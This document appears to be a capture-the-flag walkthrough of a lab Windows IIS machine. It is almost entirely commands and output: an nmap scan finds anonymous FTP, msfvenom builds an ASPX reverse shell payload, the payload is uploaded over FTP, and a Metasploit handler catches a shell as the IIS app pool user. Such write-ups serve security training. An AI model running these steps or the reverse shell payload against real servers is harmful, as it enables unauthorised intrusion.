1. ping 10.10.10.5

PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.

64 bytes from 10.10.10.5: icmp\_seq=1 ttl=127 time=196 ms

64 bytes from 10.10.10.5: icmp\_seq=2 ttl=127 time=195 ms

64 bytes from 10.10.10.5: icmp\_seq=3 ttl=127 time=193 ms

64 bytes from 10.10.10.5: icmp\_seq=4 ttl=127 time=195 ms

^C

--- 10.10.10.5 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3008ms

rtt min/avg/max/mdev = 192.973/194.635/195.577/0.996 ms

ttl 127 windows machine.

1. nmap -A -Pn -p- 10.10.10.5 --min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-30 13:42 EDT

Nmap scan report for 10.10.10.5

Host is up (0.19s latency).

Not shown: 65533 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-18-17 02:06AM <DIR> aspnet\_client

| 03-17-17 05:37PM 689 iisstart.htm

|\_03-17-17 05:37PM 184946 welcome.png

| ftp-syst:

|\_ SYST: Windows\_NT

80/tcp open http Microsoft IIS httpd 7.5

| http-methods:

|\_ Potentially risky methods: TRACE

|\_http-server-header: Microsoft-IIS/7.5

|\_http-title: IIS7

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose|phone|specialized

Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)

OS CPE: cpe:/o:microsoft:windows\_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows\_server\_2008:r2 cpe:/o:microsoft:windows\_7 cpe:/o:microsoft:windows\_8.1 cpe:/o:microsoft:windows\_vista::- cpe:/o:microsoft:windows\_vista::sp1 cpe:/o:microsoft:windows\_server\_2012

Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 21/tcp)

HOP RTT ADDRESS

1 195.21 ms 10.10.14.1

2 195.32 ms 10.10.10.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 50.76 seconds

1. msfvenom -p windows/shell/reverse\_tcp LHOST=10.10.14.21 LPORT=4444 -f aspx >reverse.aspx

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of aspx file: 2892 bytes

1. ftp 10.10.10.5

Connected to 10.10.10.5.

220 Microsoft FTP Service

Name (10.10.10.5:kali): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.

Password:

230 User logged in.

Remote system type is Windows\_NT.

ftp> put reverse.aspx

local: reverse.aspx remote: reverse.aspx

200 PORT command successful.

125 Data connection already open; Transfer starting.

226 Transfer complete.

2929 bytes sent in 0.00 secs (15.0178 MB/s)

ftp> exit

221 Goodbye.

1. Msfconsole msf6 > use exploit/multi/handler

[\*] Using configured payload generic/shell\_reverse\_tcp

msf6 exploit(multi/handler) > set payload windows/shell/reverse\_tcp

payload => windows/shell/reverse\_tcp

msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (windows/shell/reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf6 exploit(multi/handler) > set LHOST 10.10.14.21

LHOST => 10.10.14.21

msf6 exploit(multi/handler) > exploit

1. On browser ‘http://10.10.10.5/reverse.aspx’
2. Got normal shell

c:\windows\system32\inetsrv>whoami

whoami

iis apppool\web

c:\windows\system32\inetsrv>